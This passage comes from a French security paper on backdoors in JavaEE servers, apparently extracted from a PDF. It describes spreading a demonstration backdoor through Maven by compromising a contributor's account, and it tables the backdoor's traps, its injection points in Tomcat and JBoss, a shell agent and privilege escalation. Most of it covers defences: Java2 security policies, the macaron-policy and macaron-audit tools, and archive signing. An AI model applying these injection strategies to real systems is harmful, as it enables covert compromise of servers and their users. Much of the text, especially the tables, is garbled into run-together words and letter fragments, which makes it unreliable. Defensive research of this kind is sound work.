La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

